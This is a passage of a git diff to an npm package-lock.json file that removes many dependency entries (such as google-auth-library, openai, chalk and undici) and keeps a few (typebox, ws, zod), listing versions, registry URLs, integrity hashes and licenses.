- }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/bignumber.js": { - "version": "9.3.1", - "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.3.1.tgz", - "integrity": "sha512-Ko0uX15oIUS7wJ3Rb30Fs6SkVbLmPBAKdlm7q9+ak9bbIeFf0MwuBsQV6z7+X768/cHsfg+WlysDWJcmthjsjQ==", - "license": "MIT", - "engines": { - "node": "*" - } - }, - "node_modules/bowser": { - "version": "2.14.1", - "resolved": "https://registry.npmjs.org/bowser/-/bowser-2.14.1.tgz", - "integrity": "sha512-tzPjzCxygAKWFOJP011oxFHs57HzIhOEracIgAePE4pqB3LikALKnSzUyU4MGs9/iCEUuHlAJTjTc5M+u7YEGg==", - "license": "MIT" - }, - "node_modules/brace-expansion": { - "version": "5.0.6", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.6.tgz", - "integrity": "sha512-kLpxurY4Z4r9sgMsyG0Z9uzsBlgiU/EFKhj/h91/8yHu0edo7XuixOIH3VcJ8kkxs6/jPzoI6U9Vj3WqbMQ94g==", - "license": "MIT", - "dependencies": { - "balanced-match": "^4.0.2" - }, - "engines": { - "node": "18 || 20 || >=22" - } - }, - "node_modules/buffer-equal-constant-time": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz", - "integrity": "sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==", - "license": "BSD-3-Clause" - }, - "node_modules/chalk": { - "version": "5.6.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.6.2.tgz", - "integrity": "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==", - "license": "MIT", - "engines": { - "node": "^12.17.0 || ^14.13 || >=16.0.0" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" - } - }, - "node_modules/cross-spawn": { - "version": "7.0.6", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", - "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", - "license": "MIT", - "dependencies": { - "path-key": "^3.1.0", - "shebang-command": "^2.0.0", - "which": "^2.0.1" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/data-uri-to-buffer": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-4.0.1.tgz", - "integrity": "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A==", - "license": "MIT", - "engines": { - "node": ">= 12" - } - }, - "node_modules/debug": { - "version": "4.4.3", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - "license": "MIT", - "dependencies": { - "ms": "^2.1.3" - }, - "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } - } - }, - "node_modules/diff": { - "version": "8.0.4", - "resolved": "https://registry.npmjs.org/diff/-/diff-8.0.4.tgz", - "integrity": "sha512-DPi0FmjiSU5EvQV0++GFDOJ9ASQUVFh5kD+OzOnYdi7n3Wpm9hWWGfB/O2blfHcMVTL5WkQXSnRiK9makhrcnw==", - "license": "BSD-3-Clause", - "engines": { - "node": ">=0.3.1" - } - }, - "node_modules/ecdsa-sig-formatter": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/ecdsa-sig-formatter/-/ecdsa-sig-formatter-1.0.11.tgz", - "integrity": "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==", - "license": "Apache-2.0", - "dependencies": { - "safe-buffer": "^5.0.1" - } - }, - "node_modules/extend": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", - "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", - "license": "MIT" - }, - "node_modules/fast-sha256": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/fast-sha256/-/fast-sha256-1.3.0.tgz", - "integrity": "sha512-n11RGP/lrWEFI/bWdygLxhI+pVeo1ZYIVwvvPkW7azl/rOy+F3HYRZ2K5zeE9mmkhQppyv9sQFx0JM9UabnpPQ==", - "license": "Unlicense" - }, - "node_modules/fast-xml-builder": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/fast-xml-builder/-/fast-xml-builder-1.2.0.tgz", - "integrity": "sha512-00aAWieqff+ZJhsXA4g1g7M8k+7AYoMUUHF+/zFb5U6Uv/P0Vl4QZo84/IcufzYalLuEj9928bXN9PbbFzMF0Q==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT", - "dependencies": { - "path-expression-matcher": "^1.5.0", - "xml-naming": "^0.1.0" - } - }, - "node_modules/fast-xml-parser": { - "version": "5.7.0", - "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.7.0.tgz", - "integrity": "sha512-MTcrUoRQ1GSQ9iG3QJzBGquYYYeA7piZaJoIWbPFGbRn6Jj6z7xgoAyi4DrZX4y2ZIQQBF59gc/zmvvejjgoFQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT", - "dependencies": { - "@nodable/entities": "^2.1.0", - "fast-xml-builder": "^1.1.5", - "path-expression-matcher": "^1.5.0", - "strnum": "^2.2.3" - }, - "bin": { - "fxparser": "src/cli/cli.js" - } - }, - "node_modules/fetch-blob": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/fetch-blob/-/fetch-blob-3.2.0.tgz", - "integrity": "sha512-7yAQpD2UMJzLi1Dqv7qFYnPbaPx7ZfFK6PiIxQ4PfkGPyNyl2Ugx+a/umUonmKqjhM4DnfbMvdX6otXq83soQQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/jimmywarting" - }, - { - "type": "paypal", - "url": "https://paypal.me/jimmywarting" - } - ], - "license": "MIT", - "dependencies": { - "node-domexception": "^1.0.0", - "web-streams-polyfill": "^3.0.3" - }, - "engines": { - "node": "^12.20 || >= 14.13" - } - }, - "node_modules/formdata-polyfill": { - "version": "4.0.10", - "resolved": "https://registry.npmjs.org/formdata-polyfill/-/formdata-polyfill-4.0.10.tgz", - "integrity": "sha512-buewHzMvYL29jdeQTVILecSaZKnt/RJWjoZCF5OW60Z67/GmSLBkOFM7qh1PI3zFNtJbaZL5eQu1vLfazOwj4g==", - "license": "MIT", - "dependencies": { - "fetch-blob": "^3.1.2" - }, - "engines": { - "node": ">=12.20.0" - } - }, - "node_modules/gaxios": { - "version": "7.1.4", - "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-7.1.4.tgz", - "integrity": "sha512-bTIgTsM2bWn3XklZISBTQX7ZSddGW+IO3bMdGaemHZ3tbqExMENHLx6kKZ/KlejgrMtj8q7wBItt51yegqalrA==", - "license": "Apache-2.0", - "dependencies": { - "extend": "^3.0.2", - "https-proxy-agent": "^7.0.1", - "node-fetch": "^3.3.2" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/gcp-metadata": { - "version": "8.1.2", - "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-8.1.2.tgz", - "integrity": "sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg==", - "license": "Apache-2.0", - "dependencies": { - "gaxios": "^7.0.0", - "google-logging-utils": "^1.0.0", - "json-bigint": "^1.0.0" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/get-east-asian-width": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/get-east-asian-width/-/get-east-asian-width-1.6.0.tgz", - "integrity": "sha512-QRbvDIbx6YklUe6RxeTeleMR0yv3cYH6PsPZHcnVn7xv7zO1BHN8r0XETu8n6Ye3Q+ahtSarc3WgtNWmehIBfA==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/glob": { - "version": "13.0.6", - "resolved": "https://registry.npmjs.org/glob/-/glob-13.0.6.tgz", - "integrity": "sha512-Wjlyrolmm8uDpm/ogGyXZXb1Z+Ca2B8NbJwqBVg0axK9GbBeoS7yGV6vjXnYdGm6X53iehEuxxbyiKp8QmN4Vw==", - "license": "BlueOak-1.0.0", - "dependencies": { - "minimatch": "^10.2.2", - "minipass": "^7.1.3", - "path-scurry": "^2.0.2" - }, - "engines": { - "node": "18 || 20 || >=22" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/google-auth-library": { - "version": "10.6.2", - "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-10.6.2.tgz", - "integrity": "sha512-e27Z6EThmVNNvtYASwQxose/G57rkRuaRbQyxM2bvYLLX/GqWZ5chWq2EBoUchJbCc57eC9ArzO5wMsEmWftCw==", - "license": "Apache-2.0", - "dependencies": { - "base64-js": "^1.3.0", - "ecdsa-sig-formatter": "^1.0.11", - "gaxios": "^7.1.4", - "gcp-metadata": "8.1.2", - "google-logging-utils": "1.1.3", - "jws": "^4.0.0" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/google-logging-utils": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-1.1.3.tgz", - "integrity": "sha512-eAmLkjDjAFCVXg7A1unxHsLf961m6y17QFqXqAXGj/gVkKFrEICfStRfwUlGNfeCEjNRa32JEWOUTlYXPyyKvA==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/graceful-fs": { - "version": "4.2.11", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", - "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", - "license": "ISC" - }, - "node_modules/highlight.js": { - "version": "10.7.3", - "resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-10.7.3.tgz", - "integrity": "sha512-tzcUFauisWKNHaRkN4Wjl/ZA07gENAjFl3J/c480dprkGTg5EQstgaNFqBfUqCq54kZRIEcreTsAgF/m2quD7A==", - "license": "BSD-3-Clause", - "engines": { - "node": "*" - } - }, - "node_modules/hosted-git-info": { - "version": "9.0.3", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-9.0.3.tgz", - "integrity": "sha512-Hc+ghLoSt6QaYZUv0WBiIvmMDZuZZ7oaDvdH8MbfOO4lOsxdXLEvuC6ePoGs9H1X9oCLyq6+NVN0MKqD+ydxyg==", - "license": "ISC", - "dependencies": { - "lru-cache": "^11.1.0" - }, - "engines": { - "node": "^20.17.0 || >=22.9.0" - } - }, - "node_modules/http-proxy-agent": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", - "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", - "license": "MIT", - "dependencies": { - "agent-base": "^7.1.0", - "debug": "^4.3.4" - }, - "engines": { - "node": ">= 14" - } - }, - "node_modules/https-proxy-agent": { - "version": "7.0.6", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", - "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==", - "license": "MIT", - "dependencies": { - "agent-base": "^7.1.2", - "debug": "4" - }, - "engines": { - "node": ">= 14" - } - }, - "node_modules/ignore": { - "version": "7.0.5", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.5.tgz", - "integrity": "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==", - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", - "license": "ISC" - }, - "node_modules/jiti": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.7.0.tgz", - "integrity": "sha512-AC/7JofJvZGrrneWNaEnJeOLUx+JlGt7tNa0wZiRPT4MY1wmfKjt2+6O2p2uz2+skll8OZZmJMNqeke7kKbNgQ==", - "license": "MIT", - "bin": { - "jiti": "lib/jiti-cli.mjs" - } - }, - "node_modules/json-bigint": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-1.0.0.tgz", - "integrity": "sha512-SiPv/8VpZuWbvLSMtTDU8hEfrZWg/mH/nV/b4o0CYbSxu1UIQPLdwKOCIyLQX+VIPO5vrLX3i8qtqFyhdPSUSQ==", - "license": "MIT", - "dependencies": { - "bignumber.js": "^9.0.0" - } - }, - "node_modules/json-schema-to-ts": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/json-schema-to-ts/-/json-schema-to-ts-3.1.1.tgz", - "integrity": "sha512-+DWg8jCJG2TEnpy7kOm/7/AxaYoaRbjVB4LFZLySZlWn8exGs3A4OLJR966cVvU26N7X9TWxl+Jsw7dzAqKT6g==", - "license": "MIT", - "dependencies": { - "@babel/runtime": "^7.18.3", - "ts-algebra": "^2.0.0" - }, - "engines": { - "node": ">=16" - } - }, - "node_modules/jwa": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.1.tgz", - "integrity": "sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg==", - "license": "MIT", - "dependencies": { - "buffer-equal-constant-time": "^1.0.1", - "ecdsa-sig-formatter": "1.0.11", - "safe-buffer": "^5.0.1" - } - }, - "node_modules/jws": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.1.tgz", - "integrity": "sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA==", - "license": "MIT", - "dependencies": { - "jwa": "^2.0.1", - "safe-buffer": "^5.0.1" - } - }, - "node_modules/long": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/long/-/long-5.3.2.tgz", - "integrity": "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==", - "license": "Apache-2.0" - }, - "node_modules/lru-cache": { - "version": "11.5.0", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.5.0.tgz", - "integrity": "sha512-5YgH9UJd7wVb9hIouI2adWpgqrrICkt070Dnj8EUY1+B4B2P9eRLPAkAAo6NICA7CEhOIeBHl46u9zSNpNu7zA==", - "license": "BlueOak-1.0.0", - "engines": { - "node": "20 || >=22" - } - }, - "node_modules/marked": { - "version": "15.0.12", - "resolved": "https://registry.npmjs.org/marked/-/marked-15.0.12.tgz", - "integrity": "sha512-8dD6FusOQSrpv9Z1rdNMdlSgQOIP880DHqnohobOmYLElGEqAL/JvxvuxZO16r4HtjTlfPRDC1hbvxC9dPN2nA==", - "license": "MIT", - "bin": { - "marked": "bin/marked.js" - }, - "engines": { - "node": ">= 18" - } - }, - "node_modules/minimatch": { - "version": "10.2.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.5.tgz", - "integrity": "sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==", - "license": "BlueOak-1.0.0", - "dependencies": { - "brace-expansion": "^5.0.5" - }, - "engines": { - "node": "18 || 20 || >=22" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/minipass": { - "version": "7.1.3", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz", - "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==", - "license": "BlueOak-1.0.0", - "engines": { - "node": ">=16 || 14 >=14.17" - } - }, - "node_modules/ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - "license": "MIT" - }, - "node_modules/node-domexception": { - "name": "@nolyfill/domexception", - "version": "1.0.28", - "resolved": "https://registry.npmjs.org/@nolyfill/domexception/-/domexception-1.0.28.tgz", - "integrity": "sha512-tlc/FcYIv5i8RYsl2iDil4A0gOihaas1R5jPcIC4Zw3GhjKsVilw90aHcVlhZPTBLGBzd379S+VcnsDjd9ChiA==", - "license": "MIT", - "engines": { - "node": ">=12.4.0" - } - }, - "node_modules/node-fetch": { - "version": "3.3.2", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-3.3.2.tgz", - "integrity": "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA==", - "license": "MIT", - "dependencies": { - "data-uri-to-buffer": "^4.0.0", - "fetch-blob": "^3.1.4", - "formdata-polyfill": "^4.0.10" - }, - "engines": { - "node": "^12.20.0 || ^14.13.1 || >=16.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/node-fetch" - } - }, - "node_modules/openai": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/openai/-/openai-6.26.0.tgz", - "integrity": "sha512-zd23dbWTjiJ6sSAX6s0HrCZi41JwTA1bQVs0wLQPZ2/5o2gxOJA5wh7yOAUgwYybfhDXyhwlpeQf7Mlgx8EOCA==", - "license": "Apache-2.0", - "bin": { - "openai": "bin/cli" - }, - "peerDependencies": { - "ws": "^8.18.0", - "zod": "^3.25 || ^4.0" - }, - "peerDependenciesMeta": { - "ws": { - "optional": true - }, - "zod": { - "optional": true - } - } - }, - "node_modules/p-retry": { - "version": "4.6.2", - "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.2.tgz", - "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==", - "license": "MIT", - "dependencies": { - "@types/retry": "0.12.0", - "retry": "^0.13.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/partial-json": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/partial-json/-/partial-json-0.1.7.tgz", - "integrity": "sha512-Njv/59hHaokb/hRUjce3Hdv12wd60MtM9Z5Olmn+nehe0QDAsRtRbJPvJ0Z91TusF0SuZRIvnM+S4l6EIP8leA==", - "license": "MIT" - }, - "node_modules/path-expression-matcher": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/path-expression-matcher/-/path-expression-matcher-1.5.0.tgz", - "integrity": "sha512-cbrerZV+6rvdQrrD+iGMcZFEiiSrbv9Tfdkvnusy6y0x0GKBXREFg/Y65GhIfm0tnLntThhzCnfKwp1WRjeCyQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT", - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/path-key": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/path-scurry": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-2.0.2.tgz", - "integrity": "sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg==", - "license": "BlueOak-1.0.0", - "dependencies": { - "lru-cache": "^11.0.0", - "minipass": "^7.1.2" - }, - "engines": { - "node": "18 || 20 || >=22" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/proper-lockfile": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/proper-lockfile/-/proper-lockfile-4.1.2.tgz", - "integrity": "sha512-TjNPblN4BwAWMXU8s9AEz4JmQxnD1NNL7bNOY/AKUzyamc379FWASUhc/K1pL2noVb+XmZKLL68cjzLsiOAMaA==", - "license": "MIT", - "dependencies": { - "graceful-fs": "^4.2.4", - "retry": "^0.12.0", - "signal-exit": "^3.0.2" - } - }, - "node_modules/proper-lockfile/node_modules/retry": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", - "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==", - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/protobufjs": { - "version": "8.4.0", - "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-8.4.0.tgz", - "integrity": "sha512-iriNhQ57SYA5Jbdi+41AyPdx6jPPkFO7DODzkOBmqFhgYn/JzX2HxgxYPY18eQAs3CP/AWqtPvkWn8rclRAxdQ==", - "hasInstallScript": true, - "license": "BSD-3-Clause", - "dependencies": { - "long": "^5.3.2" - }, - "engines": { - "node": ">=12.0.0" - } - }, - "node_modules/retry": { - "version": "0.13.1", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", - "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/shebang-command": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - "license": "MIT", - "dependencies": { - "shebang-regex": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/shebang-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/signal-exit": { - "version": "3.0.7", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", - "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", - "license": "ISC" - }, - "node_modules/standardwebhooks": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/standardwebhooks/-/standardwebhooks-1.0.0.tgz", - "integrity": "sha512-BbHGOQK9olHPMvQNHWul6MYlrRTAOKn03rOe4A8O3CLWhNf4YHBqq2HJKKC+sfqpxiBY52pNeesD6jIiLDz8jg==", - "license": "MIT", - "dependencies": { - "@stablelib/base64": "^1.0.0", - "fast-sha256": "^1.3.0" - } - }, - "node_modules/strnum": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/strnum/-/strnum-2.3.0.tgz", - "integrity": "sha512-ums3KNd42PGyx5xaoVTO1mjU1bH3NpY4vsrVlnv9PNGqQj8wd7rJ6nEypLrJ7z5vxK5RP0yMLo6J/Gsm62DI5Q==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT" - }, - "node_modules/ts-algebra": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ts-algebra/-/ts-algebra-2.0.0.tgz", - "integrity": "sha512-FPAhNPFMrkwz76P7cdjdmiShwMynZYN6SgOujD1urY4oNm80Ou9oMdmbR45LotcKOXoy7wSmHkRFE6Mxbrhefw==", - "license": "MIT" - }, - "node_modules/tslib": { - "version": "2.8.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", - "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", - "license": "0BSD" - }, "node_modules/typebox": { "version": "1.1.38", "resolved": "https://registry.npmjs.org/typebox/-/typebox-1.1.38.tgz", "integrity": "sha512-pZ0aQPmMmXoUvSbeuWf/Hzsc+avNw/Zd6VeE8CFgkVGWyuHPJvqeJJDeJqLve+K70LvjYIoleGcoJHPT17cWoA==", "license": "MIT" }, - "node_modules/undici": { - "version": "8.3.0", - "resolved": "https://registry.npmjs.org/undici/-/undici-8.3.0.tgz", - "integrity": "sha512-TkUDgb6tl7KOGZ+7e8E3d2FYgUQgF6z5YypqjWmixVQSQERFcVrVg0ySADm2LVLRh5ljAaHTCR5Fmz3Q34rB7Q==", - "license": "MIT", - "engines": { - "node": ">=22.19.0" - } - }, - "node_modules/web-streams-polyfill": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-3.3.3.tgz", - "integrity": "sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw==", - "license": "MIT", - "engines": { - "node": ">= 8" - } - }, - "node_modules/which": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "license": "ISC", - "dependencies": { - "isexe": "^2.0.0" - }, - "bin": { - "node-which": "bin/node-which" - }, - "engines": { - "node": ">= 8" - } - }, "node_modules/ws": { "version": "8.21.0", "resolved": "https://registry.npmjs.org/ws/-/ws-8.21.0.tgz", @@ -1799,36 +163,6 @@ } } }, - "node_modules/xml-naming": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/xml-naming/-/xml-naming-0.1.0.tgz", - "integrity": "sha512-k8KO9hrMyNk6tUWqUfkTEZbezRRpONVOzUTnc97VnCvyj6Tf9lyUR9EDAIeiVLv56jsMcoXEwjW8Kv5yPY52lw==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT", - "engines": { - "node": ">=16.0.0" - } - }, - "node_modules/yaml": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.9.0.tgz", - "integrity": "sha512-2AvhNX3mb8zd6Zy7INTtSpl1F15HW6Wnqj0srWlkKLcpYl/gMIMJiyuGq2KeI2YFxUPjdlB+3Lc10seMLtL4cA==", - "license": "ISC", - "bin": { - "yaml": "bin.mjs" - }, - "engines": { - "node": ">= 14.6" - }, - "funding": { - "url": "https://github.com/sponsors/eemeli" - } - }, "node_modules/zod": { "version": "4.4.3", "resolved": "https://registry.npmjs.org/zod/-/zod-4.4.3.tgz", @@ -1837,15 +171,6 @@ "funding": { "url": "https://github.com/sponsors/colinhacks" } - }, - "node_modules/zod-to-json-schema": { - "version": "3.25.2", - "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.2.tgz", - 